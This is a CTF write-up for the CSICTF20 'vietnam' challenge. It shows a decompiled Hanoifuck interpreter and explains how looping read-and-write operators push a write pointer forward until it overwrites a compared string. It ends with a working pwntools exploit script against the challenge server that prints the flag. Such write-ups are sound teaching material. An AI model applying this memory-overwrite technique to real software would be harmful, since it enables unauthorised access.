CSICTF20

The Viet Cong is transmitting a secret message. They built a password checker so that only a selected few can view the secret message. We've recovered the binary, we need you to find out what they're trying to say.

Official writeup can be found here.

undefined8 main(void) {
  undefined *puVar1;
  int iVar2;
  int local_18;
  int local_14;
  char *local_10;
  
  local_10 = (char *)malloc(0x400);
  fgets(local_10,0x400,stdin);
  setbuf(stdout,(char *)0x0);
  while (puVar1 = sa, *local_10 != '\0') {
    switch(*local_10) {
    case '!':
      tmp = sa;
      sa = sb;
      sb = sc;
      sc = puVar1;
      break;
    case '$':
      sa = sa + 1;
      *sa = 1;
      break;
    case '+':
      sa[-1] = *sa + sa[-1];
      sa = sa + -1;
      break;
    case ',':
      iVar2 = getchar();
      *sa = (char)iVar2;
      break;
    case '-':
      sa[-1] = sa[-1] - *sa;
      sa = sa + -1;
      break;
    case '.':
      puVar1 = str + 1;
      *str = *sa;
      str = puVar1;
      break;
    case '[':
      if (*sa == '\0') {
        local_14 = 1;
        while (local_14 != 0) {
          local_10 = local_10 + 1;
          if (*local_10 == '[') {
            local_14 = local_14 + 1;
          }
          else {
            if (*local_10 == ']') {
              local_14 = local_14 + -1;
            }
          }
        }
      }
      break;
    case ']':
      if (*sa != '\0') {
        local_18 = 1;
        while (local_18 != 0) {
          local_10 = local_10 + -1;
          if (*local_10 == '[') {
            local_18 = local_18 + -1;
          }
          else {
            if (*local_10 == ']') {
              local_18 = local_18 + 1;
            }
          }
        }
      }
    }
    local_10 = local_10 + 1;
  }
  str = STR;
  iVar2 = strcmp(STR,"HELLO\n");
  if (iVar2 == 0) {
    puts(str);
    system("cat flag.txt");
  }
  else {
    puts("Failed.");
  }
  return 0;
}
Decompilation of binary provided

This is an interpreter for Hanoifuck (which I discovered after the CTF). I zoomed in to a few operators:

  1. ,: read a character and write it at *sa
  2. .: write *sa at *str, then increment *str
  3. [: if *sa is zero, jump to the next ]
  4. ]: if *sa is not zero, jump to the previous [

str is at 0x404078, while STR is at 0x404ca0.

We can make use of the 4 operators discussed to write the payload ,[,.].

This reads in a character to *sa, then while *sa is not zero, keep reading in characters and writing it to str. Eventually, we can write HELLO\n at STR, then terminate the write by sending in a null byte.

from pwn import *

# r = process("./vietnam")
r = remote("chall.csivit.com", 30814)

# gdb.attach(r, """
# b *main+612
# continue""")

payload =  ",[,.]"            # loop, incrementing str until we send null
r.send(payload)
r.send(cyclic(1019))
r.send("HELLO\n")
r.send("\x00")
r.interactive()